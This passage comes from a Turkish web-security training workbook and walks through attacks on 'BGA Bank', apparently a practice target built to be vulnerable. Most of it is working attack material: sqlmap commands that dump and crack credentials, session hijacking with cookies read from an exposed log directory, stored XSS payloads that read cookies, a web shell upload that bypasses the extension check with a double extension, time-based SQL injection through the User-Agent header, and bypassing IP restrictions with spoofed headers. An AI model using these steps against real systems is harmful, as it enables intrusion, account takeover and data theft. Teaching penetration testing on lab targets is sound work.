İstismar   sqlmap   aracı   ile   yapılmıştır.   Aşağıdaki   komut   ile   sqlmap’e   zafiyetin   hangi   URL’de,  hangi   parametrede,   hangi   veritabanında   olduğu   ve   istismarın   hangi   seviyede   aranacağı  belirtilmiştir.   sqlmap’de   seviye(level)   yükseldikçe   HTTP   cookie,   HTTP   user   agent   gibi  başlıklarda  da  zafiyet  aranır.  

#  sqlmap.py  -­‐u  "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2="  -­‐p  s1  -­‐-­‐dbms  MYSQL  -­‐-­‐level  4  

sqlmap  çıktısı;  

GET  parameter  's1'  is  vulnerable.  Do  you  want  to  keep  testing  the  others  (if  any)?  [y/N]  sqlmap  identified  the  following  injection  points  with  a  total  of  461  HTTP(s)  requests:  -­‐-­‐-­‐  Place:  GET  Parameter:  s1     Type:  error-­‐based     Title:  MySQL  >=  5.0  AND  error-­‐based  -­‐  WHERE  or  HAVING  clause     Payload:  sayfa=arama.php&s1=deneme"  AND  (SELECT  8204  FROM(SELECT  COUNT(*),  CONCAT(0x716d6e6371,(SELECT  (CASE  WHEN  (8204=8204)  THEN  1  ELSE  0  END)),0  x7176717771,FLOOR(RAND(0)*2))x  FROM  INFORMATION_SCHEMA.CHARACTER_SETS  GROUP  BY  x)a)  AND  "rmsH"="rmsH&s2=       Type:  UNION  query     Title:  MySQL  UNION  query  (NULL)  -­‐  10  columns     Payload:sayfa=arama.php&s1=deneme"  UNION  ALL  SELECT  NULL,  

Page 26: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

26   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

CONCAT(0x716d6e6371,0x68546f6b5063706b4968,0x7176717771),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&s2=  -­‐-­‐-­‐  [17:00:01]  [INFO]  the  back-­‐end  DBMS  is  MySQL  web  server  operating  system:  Linux  Ubuntu  web  application  technology:  Apache  2.4.7,  PHP  5.5.9  back-­‐end  DBMS:  MySQL  5.0  

 Görüldüğü   gibi   error-­‐based   ve   UNION   query   tipinde   sql   injection   zafiyetleri   tespit   edildi.  İstismar  için  önce  -­‐-­‐dbs  ile  var  olan  veritabanları  listelenir.  (Tablo  10)  

 

Komut   sqlmap.py   -­‐u  "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2="   -­‐p  s1  -­‐-­‐dbms  MYSQL  -­‐-­‐level  4  -­‐-­‐dbs  

Çıktı   available  databases  [6]:  [*]  bga_bank_4_0  [*]  honeypot  [*]  information_schema  [*]  mysql  [*]  performance_schema  [*]  phpmyadmin  

Tablo  10.  sqlmap  Veritabanı  Listeleme  Verileri  

Hedef  olarak  -­‐D  ile  bga_bank_4_0  veritabanı  seçilmiştir  ve  -­‐-­‐tables  ile  tablolar  listelenmiştir.  (Tablo  11)    

Komut   sqlmap.py  -­‐u  "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2="  -­‐p  s1  -­‐-­‐dbms  MYSQL  -­‐-­‐level  4  -­‐D  bga_bank_4_0  -­‐-­‐tables  

Çıktı   Database:  bga_bank_4_0  [20  tables]  +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+  |  bnk_ayarlar                                 |  |  bnk_bankalar                               |  |  bnk_basvurular                           |  |  bnk_failed_logins                     |  |  bnk_hesap_islemleri          |  |  bnk_hesap_turleri                  |  |  bnk_hesaplar                               |  |  bnk_iller                                     |  |  bnk_kartlar                                |  |  bnk_karttipleri                         |  

Page 27: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   27    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

|  bnk_kurtipleri                           |  |  bnk_musteri_temsilci_mesajlar  |  |  bnk_musteriler                           |  |  bnk_musteriler_user_agent  |  |  bnk_plakalar                               |  |  bnk_sahte_hesaplar          |  |  bnk_sayfalar                               |  |  bnk_subeler                                 |  |  bnk_temsilciler                         |  |  bnk_ziyaretci_defteri        |  +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+  

Tablo  11.  sqlmap  Tablo  Listeleme  Verileri  

Listelenen   tablolardan   BGA   Bank’taki   müşteri   temsilcileri   hedef   alınmıştır.   -­‐T   ile  bnk_temsilciler  tablosu  seçilir  ve  -­‐-­‐columns  parametresi  ile  kolonlar  listelenir.  (Tablo  12)      

Komut   sqlmap.py  -­‐u  'http://www.bgabank.com/index.php?sayfa=arama.php&s=deneme'  -­‐p  s  -­‐-­‐dbms  MYSQL  -­‐-­‐level  4  -­‐D  BGA_Bank_1_0  -­‐T  bnk_temsilciler  -­‐-­‐columns  

Çıktı   Database:  bga_bank_4_0  Table:  bnk_temsilciler  [9  columns]  +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+  |  Column                    |  Type             |  +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+  |  t_adi                       |  varchar(25)              |  |  t_durum                   |  int(11)       |  |  t_email                   |  varchar(200)          |  |  t_ensongiristarihi  |  timestamp        |  |  t_ID                         |  int(11)                            |  |  t_kullanicino       |  varchar(9)                  |  |  t_resim_yol           |  text             |  |  t_sifre                   |  text                                  |  |  t_soyadi                |  varchar(30)              |  +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+  

Tablo  12.  sqlmap  kolon  listeleme  verileri  

Temsilci  numarası  ve  şifresi  sırasıyla  t_kullanicino  ve  t_sifre  kolonlarında  tutulduğundan  bu  iki  kolondaki  veriler  Tablo  13  de  gösterilen  komut  ile  çekilir.          

Page 28: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

28   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

Komut   sqlmap.py  -­‐u  "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2="  -­‐p  s1  -­‐-­‐dbms  MYSQL  -­‐-­‐level  4  -­‐D  bga_bank_4_0  -­‐T  bnk_temsilciler  -­‐C  t_kullanicino,t_sifre  -­‐-­‐dump  

Çıktı   Database:  bga_bank_4_0  Table:  bnk_temsilciler  [2  entries]  +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+  |  t_sifre                                                                                                            |  t_kullanicino          |  +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+  |  310dcbbf4cce62f762a2aaa148d556bd  (333)  |  11111111                |  |  310dcbbf4cce62f762a2aaa148d556bd  (333)  |  22222222                |  +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+  

Tablo  13.  sqlmap  veritabanından  veri  çekme  

Sqlmap   sözlük   saldırısı   ile   şifreyi   çözmeyi   başarabilmiştir   fakat   sqlmap   yetersiz   kaldığında  şifreler   http://hashkiller.co.uk/md5-­‐decrypter.aspx   adresinden   MD5   veritabanında  aratılabilir.  Kullanıcı  adı  ve  parola  ile  sisteme  giriş  denenir.  (Şekil  23)    

 Şekil  23.  Sisteme  giriş  denemesi  

Sonuç.  başarılı!  (Şekil  24)  

Page 29: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   29    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

 Şekil  24.  Sonuç  

Diğer   veritabanları   üzerinden   denemeler   yapılabilir.   Örneğin   phpmyadmin   veritabanı,  pma_userconfig   tablosu,   username   kolonu   üzerinden   gidilirse   phpmyadmin   kullanıcılarına  ulaşılabilir   (Tablo   14).   Phpmyadmin   panelide   bilindiğinden   kullanıcı   adlarına   brute   force  yapılabilir.   (phpMyAdmin   kullanıcılarının   parola   bilgileri   veritabanında   değil   işletim  sisteminde  saklandığı  için  şifreler  veritabanından  ulaşılamaz.)  

   

Page 30: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

30   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

12. Log Dizininde Cookie İfşası (elmah.axd) ve İstismarı

URL   http://isube.bgabank.com/elmah.axd  Tablo  14.  Log  dizini  URL  bilgisi  

Belirtilen  dizinde,  giriş  yapan  kullanıcıların  oturum  bilgisini  saklayan  cookieler  tutulmaktadır.  Bu  bilgiler  kullanılarak  oturum  hırsızlığı  (session  hijacking)  yapılabilir.  (Şekil  25)    

 Şekil  25.  Elmah.axd  dizini  

İstismar   için  Chrome  ve  Firefox   tarayıcısı   ile   Firefox  eklentisi  olan  Cookie  Manager+  v1.5.2  kullanılmıştır.   Farklı   eklentiler   de   kullanılabilir.   Zafiyetin   istismarı   aşağıda   adım   adım  anlatılmıştır.                          

Page 31: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   31    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

1)  Normal  bir  müşteri(10000142  Müşteri  No.lu  Mustafa  Balaban)  olarak  Chrome  üzerinden  giriş  yapılır.    

 Şekil  26.  Chrome  Normal  Giriş  

BGA  Bank  uygulaması  bu  kullanıcının  cookie  bilgisini  http://isube.bgabank.com/elmah.axd/  dizini  altında  kullanıcı  numarası  klasöründe  saklamaktadır.    (http://isube.bgabank.com/elmah.axd/10000142/)    

 Şekil  27.  Elmah.axd  Log  

 

 

 

 

 

Page 32: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

32   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

2)   Loglardan   elde   edilen   cookie   bilgileri   Firefox   Cookie   Manager   ile   Firefox   üzerinde  değiştirilir,  olmayanlar  eklenir.  

 Şekil  28.  Cookie  Değiştirme  

Şekil   28.   de   PHPSESSID   değeri   değiştirilmiştir.   Şekil   29.   da   ise   guest   cookie   bilgisi   FALSE  olarak  eklenmiştir.  

Page 33: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   33    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

 Şekil  29.  Guest  Cookie  Bilgilerini  Ekleme  

 

 

 

 

 

 

 

 

 

 

 

 

Page 34: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

34   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

3)  Firefox’da  iken  sayfa  yenilendiğinde  Mustafa  Balaban  olarak  giriş  yapıldığı  görülecektir.  

 Şekil  30.  Cookie  Değiştirme  Sonucu  

NOT:  Bu   cookielerin   sunucudan   gelirken   görüntülemek   için   Burp   ile   sunucudan   dönen   cevaplar  içinde  araya  girmek  gerekir.  Burp  varsayılan  olarak  giden   istekler   için  araya  girer.  Proxy  →  Options  sekmesi  altında  1  ile  belirtilen  kısım  giden  istekler  için  araya  girerken,  2  ile  belirtilen  kısım  sunucudan  gelen  istekler  içinde  araya  girer.    

Page 35: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   35    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

 Şekil  31.  Burp  Suite  Options  

Intercept   responses   based   on   the   following   rules   için   tik   koyulduktan   sonra   giriş   sonrası  sunucudan  gelen  cevap  ve  cookie  bilgileri  görüntülenebilir.  

   

Page 36: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

36   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

13. Mesaj Gönderme Stored XSS Zafiyeti ve İstismarı

URL   http://isube.bgabank.com/mesajlar.aspx?islem=yenimesaj  

HTTP  Talep  Türü   POST  

Payload   <img  onerror="alert(document.cookie)"  src="1.jpg">  

Parametre   Mesaj  (k2)  

 Müşteri   girişi   yapıldıktan   sonra   Mesajlar   menüsünden   müşteri   temsilcisine   mesaj  gönderilebiliyor.   Mesaj   bölümünde   XSS   payload   girilip   gönderildiğinde,   müşteri   temsilcisi  mesajı  görüntülediği  anda  XSS  payload  çalıştırılabilir.  Adımlar  aşağıdaki  gibidir.  

1)  Normal  müşteri  olarak  giriş  yapılır,  Mesajlar  menüsünden,  Yeni  Mesaj  gönder  seçilir.  (Şekil  32)  

 Şekil  32.  Yeni  Mesaj  Gönderme  Formu  

 

 

 

 

 

 

 

 

Page 37: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   37    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

2)   Tablo   15   de   belirtilen   payload   Mesaj   kısmına   girilir   ve   “Devam   Et”   butonuna   tıklanır.  Ardından  temsilci  olarak  sisteme  giriş  yapılır  ve  istek  görüntülenir.  (Şekil  33)  

 Şekil  33.  Müşteri  ve  temsilci  mesajlar  paneli  

Üstte   müşteriye   ait   olan   panelden   gönderilen   mesaj,   temsilcinin   mesajlar   paneline  düşmüştür.    

3)  Temsilci  mesajı  görüntüler  ve  XSS  payloadı  çalışır.  

 Şekil  34.  XSS  Payload  Çalışır  

Cookie  bilgisi  ekrana  bir  pop-­‐up  çıkartmak  yerine  uzak  bir  makinede  bir  dosyaya  da  yazılabilir  ve  oturum  hırsızlığı  yapılabilirdi.  

   

Page 38: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

38   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

14. Havale/EFT Hesap Arama Kutusu SQL Injection Zafiyeti ve İstismarı

URL   http://isube.bgabank.com/havale-­‐eft.aspx  

HTTP  Talep  Türü   GET  

Payload   a"+or+1=1;-­‐-­‐  

Parametre   term  

Tablo  16.  Havale/EFT  Hesap  Arama  Kutusu  SQL  Injection  Zafiyet  Bilgileri  

Müşteri   girişi   yapıldıktan   sonra   Havale-­‐EFT   işlemi   sırasında,   "Varolan   Hesaplar"   kısmından  arama  yapılıp  diğer  kullanıcılar  görüntülenebilir.  Bu  bölümde  SQL  injection  zafiyeti  vardır.  

Havale-­‐EFT  sayfası  ‘Varolan  Hesaplar’  kısmına  “a”  gibi  bir  harf  yazıldığında  içinde  “a”  geçen  müşteriler  listelenecektir.  

 Şekil  35.  Hesap  Arama  

Burp  ile  araya  girildiğinde  şekil  36’da  ki  gibi  bir  isteğin  gittiği  görülür.    

 Şekil  36.  Burp  Suite  SQL  Injection  

 

Page 39: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   39    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

Çeşitli   denemelerden   sonra   tablo   16   belirtilen   payload   yazıldığında   bütün   müşterilerin  listelendiği  görülür.  (Şekil  37)  

 Şekil  37.  Burp  Suite  Tüm  Müşterileri  Listeleme  

Gönderilen  GET  datası  

GET  /ajax.php?sayfa=hesap-­‐lists.php&term=a  HTTP/1.1  Host:  isube.bgabank.com  User-­‐Agent:  Mozilla/5.0  (Windows  NT  6.3;  WOW64;  rv:32.0)  Gecko/20100101  Firefox/32.0  Accept:  application/json,  text/javascript,  */*;  q=0.01  Accept-­‐Language:  en-­‐US,en;q=0.5  Accept-­‐Encoding:  gzip,  deflate  Content-­‐Type:  text/plain;  charset=UTF-­‐8  X-­‐Requested-­‐With:  XMLHttpRequest  Referer:  http://isube.bgabank.com/havale-­‐eft.aspx  Cookie:  PHPSESSID=ersvs83cl712mkni2jm1ru6t33;  is_admin=false;  guest=FALSE  DNT:  1  Connection:  keep-­‐alive  

                         

Page 40: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

40   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

GET  datası  alınır  ve  bir  text  dosyasına  kaydedilir,  kaydedilen  metin  belgesi  -­‐r  parametresiyle  sqlmap  aracına  verilir.      

Komut   sqlmap.py  -­‐r  ../Desktop/deneme.txt  -­‐-­‐dbms  mysql  -­‐p  term  -­‐-­‐level  3  -­‐-­‐risk  3  

Çıktı   Place:  GET  Parameter:  term     Type:  UNION  query     Title:  MySQL  UNION  query  (NULL)  -­‐  14  columns     Payload:  sayfa=hesap-­‐lists.php&term=a"  UNION  ALL  SELECT  NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171687971,0x6d6  56a4e4f7653726749,0x716f666e71)#       Type:  AND/OR  time-­‐based  blind     Title:  MySQL  >  5.0.11  OR  time-­‐based  blind     Payload:  sayfa=hesap-­‐lists.php&term=-­‐7892"  OR  5880=SLEEP(5)  AND  "oRfa"  LIKE  "oRfa  

 

   

Page 41: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   41    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

15. User-Agent Başlık Bilgisinde SQL Injection Zafiyeti ve İstismarı Müşteri  girişi  yapılırken  kullanıcı  adı  ve  şifre  doğru  ise  User-­‐Agent  bilgileri  veritabanına  kayıt  oluyor.  User-­‐Agent  başlık  bilgisinde  zaman  tabanlı  SQL  injection  zafiyeti  vardır.      

URL   http://isube.bgabank.com/giris.aspx  

HTTP  Talep  Türü   POST  

Payload   "  AND  SLEEP(5)  AND  "1"="1  

Parametre   User-­‐Agent  

Tablo  17.  User-­‐Agent  Başlık  Bilgisi  SQL  Injection  Zafiyet  Bilgileri  

SLEEP   fonksiyonu  MySQL’de,  MSSQL  veritabanındaki  waitfor  delay   fonksiyonun  karşılığıdır.  Tablo  17.  de  ki  payload,  user-­‐agent  başlığına  eklendiğinde,  sayfanın  5  saniye  geç  yüklendiği  görülecektir.  (Şekil  38)    

 Şekil  38.  Time  Based  SQL  Injection  

   

Page 42: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

42   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

16. Profil Güncelleme Shell Upload Zafiyeti ve İstismarı Müşteri   girişi   yapıldıktan   sonra   Müşteri   Bilgilerim   menüsünde   kısmında   kullanıcıların  kendileri   için   profil   resmi   yükleyebileceği   bir   form   vardır.   Bu   formda   sadece   jpg   ve   png  uzantılı   resim   yüklenebileceği   belirtilmekte   ancak   uzantı   kontrolü   çok   basit   şekilde  yapılmaktadır.  Buraya  yüklenecek  bir  shell  ile  işletim  sistemine  komut  gönderilebilir.  

 Şekil  39.  Müşteri  Bilgilerim  Sayfası  

Sisteme   normal   php   uzantılı   dosya   yüklenmek   istendiğinde   yükleme   başarısız   olacaktır.  Uygulamanın   geliştirme   sürecinde   yapılan   hatalardan  biri   dosya   içerisinde  noktadan   sonra  png,jpg   kontrolünün   yapılmasıdır.   Dolayısıyla   sisteme   shell.jpg.php   şeklinde   dosya  gönderildiğinde  kabul  edilecektir  çünkü  noktadan  sonra  jpg  kullanılmıştır  ama  dosya  uzantısı  php  dir.  

Page 43: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   43    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

 Şekil  40.  Shell  Yükleme  

Shelle  ulaşıp  çalıştırmak  için  shell  lokasyonu  sayfa  kaynağından  öğrenilebilir.  (Şekil  41)  

 Şekil  41.  Sayfa  Kaynağı  Shell  Lokasyonu  Tespiti  

 

 

 

 

 

 

Page 44: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

44   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

Başka  bir  yöntem  olarak  DirBuster  programı  ile  shelle  ulaşılabilir.  (Şekil  42)  

 Şekil  42.  DirBuster  

 Yüklenen  shell  şu  şekilde  olduğu  görülecektir:  http://isube.bgabank.com/uploads/kullanıcı_id/dosya_adı.jpg.php  

 Şekil  43.  Shell  

   

Page 45: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   45    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

17. Havale/EFT Stored XSS Zafiyeti ve İstismarı Müşteri   olarak   BGA   BANK’a   giriş   yapılır.   İşlemler   →   Havale/EFT   bölümünde   k8  parametresinde   (Not   kısmı)     stored   XSS   zafiyeti   vardır.   Bu   zafiyet   istismar   edildiğinde   XSS  payloadı,   hem   Havale/EFT   yapılan   kişinin   tarayıcısında   hem   de   saldırganın   tarayıcısında,  hesap  bilgileri  görüntülendiğinde  çalışacaktır.    

URL   http://isube.bgabank.com/havale-­‐eft.aspx  

HTTP  Talep  Türü   POST  

Payload   <script>alert(document.cookie)</script>  

Parametre   k8  

Tablo  18.  Havale/EFT  Stored  XSS  Zafiyet  Bilgileri  

XSS   tipi   stored(depolanan)   olarak   belirtilmiştir.   Çünkü   girilen   payload   veritabanına  kaydedilmiştir.  Uygulama  içerisinde  Not’un  gösterildiği  her  yerde  bu  payload  çalışacaktır.    İstismar  adım  adım  aşağıda  anlatılmıştır.                                              

Page 46: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

46   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

1)  Normal  müşteri  olarak  giriş  yapılır.  Havale   işlemi  sayfasında  bulunan  “Varolan  Hesaplar”  yardımıyla  para  havale  edilecek  müşteri  seçilir  ve  “Not”  alanına  payload  girilip  “Devam  et”  butonuna  tıklanır.  (Şekil  44)    

 Şekil  44.  Havale  İşlemi  

 

 

 

 

 

 

 

Page 47: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   47    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

2)   Havale   edilen   kişinin   hesabına   girilir.   Menuden   “Hesap   Bilgilerim”   seçilir   ve   ardından  “Devam   Et”   butonuna   tıklanır.   Açılan   sayfa   hesap   geçmişini   görüntülediğinden,   saldırgan  tarafından  gönderilen  not  bu  sayfaya  düşer  ve  XSS  payload  çalışır.  (Şekil  45)  

 Şekil  45.  Havale/EFT  XSS  istismarı  

   

Page 48: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

48   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

18. Erişim Kısıtlamasını Atlatma Her  kullanıcı  Ayarlar  bölümünden  BGABANK’a  erişebileceği  IP'yi  belirtebilir  ve  artık  sadece  o  IP  üzerinden  erişim  sağlanır.  Bu  kısıtlama  iki  şekilde  atlatılabilmektedir.    

1)  Uygulamaya  mobil  olarak  giriş  yapılırsa  IP  kısıtlaması  atlatılmış  olur.    

IP  erişimini  belirleme:  

 Şekil  46.  Ayarları  Özelleştirme  

 

 

 

 

 

 

 

 

 

Page 49: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   49    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

User-­‐Agent  değiştirmek  için  Firefox’ta  User  Agent  Switcher  eklentisi  kullanılabilir.  Ya  da  Şekil  47  de  ki  gibi  Burp  Suite  ile  User-­‐Agent  değeri  değiştirilerek  giriş  yapılabilir.  

 Şeki  47.  Burp  Suite  İle  User-­‐Agent  Bilgisi  Değiştirme  

Örnek  POST  datası  

POST  /giris.aspx  HTTP/1.1  Host:  isube.bgabank.com  User-­‐Agent:   Opera/9.80   (Android;   Opera   Mini/7.5.33361/31.1543;   U;   en)   Presto/2.8.119  Version/11.1010  Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  Accept-­‐Language:  en-­‐US,en;q=0.5  Accept-­‐Encoding:  gzip,  deflate  Referer:  http://isube.bgabank.com/giris.aspx  Cookie:  PHPSESSID=qbs1b2qas1j7gk9olkbb27s6p4  Connection:  keep-­‐alive  Content-­‐Type:  application/x-­‐www-­‐form-­‐urlencoded  Content-­‐Length:  38    b_musterino=10000142&b_password=sifre  

 

             

Page 50: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

50   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

2)   X-­‐Forwarded-­‐For   başlık   bilgisi   ekleyerek   de   bu   engel   atlatılabilir.   Farklı   bir   IP   ile   giriş  yapılmaya  çalışıldığında  kullanıcının  izin  verdiği  IP  bilgisi  ekrana  yazdırılmaktadır.  (Şekil  48)    

 Şekil  48.  IP  Yasağı  

Ekrana  yazdırılan  IP  bilgisini  kullanmak  için  Burp  proxy  aracı  ile  araya  girilir.  Şekil  49  da  ki  gibi  X-­‐Forwarded-­‐For:  1.1.1.1  (yada  izin  verilen  IP  ne  ise)  başlık  bilgisi  girilir.  

 Şekil  49.  X-­‐Forwarded-­‐For  

Sisteme  başarıyla  giriş  yapılır.  

   

